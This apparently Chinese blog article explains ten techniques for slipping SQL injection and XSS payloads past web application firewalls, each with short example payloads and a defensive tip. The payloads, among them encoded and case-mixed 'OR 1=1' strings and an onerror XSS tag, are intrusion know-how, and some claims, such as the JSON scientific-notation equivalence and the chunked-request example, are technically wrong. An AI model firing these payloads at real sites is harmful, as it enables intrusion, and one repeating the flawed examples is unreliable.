WAF绕过技术全解析:10种实战方法与代码示例
2025.10.13 13:59浏览量:296简介:本文深度解析了10种绕过Web应用防火墙(WAF)的技术,涵盖编码混淆、分块传输、协议变异、注释干扰、大小写混淆、特殊字符插入、参数污染、JSON劫持、HTTP方法替换及DNS重绑定等手段,结合代码示例揭示WAF规则的局限性,助力开发者提升安全防护能力。
WAF绕过的10种技术:技术细节与代码详解
Web应用防火墙(WAF)是保护Web应用免受SQL注入、XSS、CSRF等攻击的重要防线,但其规则依赖和模式匹配特性也使其存在被绕过的风险。本文将系统梳理10种常见的WAF绕过技术,结合代码示例与原理分析,帮助开发者理解攻击思路并优化防御策略。
1. 编码混淆绕过
原理:通过URL编码、Unicode编码或HTML实体编码混淆攻击载荷,使WAF无法识别恶意特征。
示例:
-- 原始SQL注入SELECT * FROM users WHERE id=1 OR 1=1-- URL编码绕过SELECT%20*%20FROM%20users%20WHERE%20id%3D1%20OR%201%3D1-- Unicode编码绕过(UTF-8)\u0053\u0045\u004c\u0045\u0043\u0054 * FROM users WHERE id=1 OR 1=1
防御建议:WAF需支持多层次解码,并在解码后重新进行规则匹配。
2. 分块传输绕过
原理:利用HTTP分块传输编码(Chunked Transfer Encoding)拆分攻击载荷,分散恶意特征。
示例:
POST /login HTTP/1.1Transfer-Encoding: chunked4admin'--6OR 1=1--0
防御建议:WAF需解析分块数据并重组后检测,或限制分块大小阈值。
3. 协议变异绕过
原理:通过修改HTTP协议字段(如Header顺序、大小写、空格)规避规则匹配。
示例:
-- 正常请求GET /index.php?id=1 HTTP/1.1Host: example.com-- 变异请求(大小写+空格)gEt /index.php?id=1 HTTp/1.1HoSt: example.com
防御建议:WAF需标准化HTTP协议字段后再检测,忽略无关差异。
4. 注释干扰绕过
原理:在攻击载荷中插入合法注释(如SQL注释--、HTML注释<!-- -->)混淆WAF规则。
示例:
-- SQL注入绕过SELECT * FROM users WHERE username='admin'--' AND password='123'-- XSS绕过<script><!--<img src=x onerror=alert(1)>--></script>
防御建议:WAF需解析注释内容并递归检测,或直接过滤注释符号。
5. 大小写混淆绕过
原理:混合使用大小写字母(如SeLeCt、Or)规避关键词匹配。
示例:
SeLeCt * FrOm users WhErE id=1 Or 1=1
防御建议:WAF需将检测内容统一转换为小写或大写后再匹配。
6. 特殊字符插入绕过
原理:在攻击载荷中插入换行符(\n)、制表符(\t)或空字符(%00)破坏规则匹配。
示例:
-- 换行符绕过SELECT%0A*%0AFROM%0Ausers%0AWHERE%0Aid=1%0AOR%0A1=1-- 空字符绕过SEL%00ECT * FROM users WHERE id=1 OR 1=1
防御建议:WAF需规范化输入,去除无关空白字符后再检测。
7. 参数污染绕过
原理:通过重复参数或伪造参数名干扰WAF解析,使真实攻击参数被忽略。
示例:
-- 重复参数绕过/index.php?id=1&id=2' OR 1=1--&fake=test-- 伪造参数名绕过/index.php?_=1&id=1 OR 1=1&_=2
防御建议:WAF需解析所有参数并合并检测,或优先检测已知参数名。
8. JSON劫持绕过
原理:利用JSON格式的灵活性(如数组绕过、科学计数法)隐藏攻击载荷。
示例:
-- 数组绕过{"user": ["admin'", "' OR 1=1--"]}-- 科学计数法绕过{"id": 1e0+1} // 等价于 1 OR 1=1
防御建议:WAF需解析JSON结构并递归检测所有字段值。
9. HTTP方法替换绕过
原理:使用非常规HTTP方法(如PUT、DELETE)或自定义方法发送攻击请求。
示例:
PUT /index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedid=1 OR 1=1&action=login
防御建议:WAF需限制支持的HTTP方法,或对所有方法进行统一检测。
10. DNS重绑定绕过
原理:通过快速切换DNS解析结果,使WAF与后端服务器访问不同IP,绕过同源策略。
示例:
- 攻击者注册域名
example.com,并设置TTL为1秒。 - 首次解析返回WAF IP,后续解析返回内网服务器IP。
- 用户访问
http://example.com/admin时,WAF放行请求,但实际请求到达内网。
防御建议:WAF需结合IP信誉库和实时DNS解析结果进行检测,或限制仅允许特定IP访问。
总结与防御建议
WAF绕过的本质是利用规则匹配的局限性,开发者需从以下角度优化防护:
- 多层次检测:结合静态规则、行为分析和机器学习模型。
- 输入规范化:统一解码、大小写转换和空白字符处理。
- 协议深度解析:支持分块传输、JSON等复杂格式解析。
- 动态防御:通过速率限制、IP封禁和验证码阻断自动化攻击。
安全是动态博弈的过程,开发者需持续关注最新攻击技术并更新防御策略。

发表评论
登录后可评论,请前往 登录 或 注册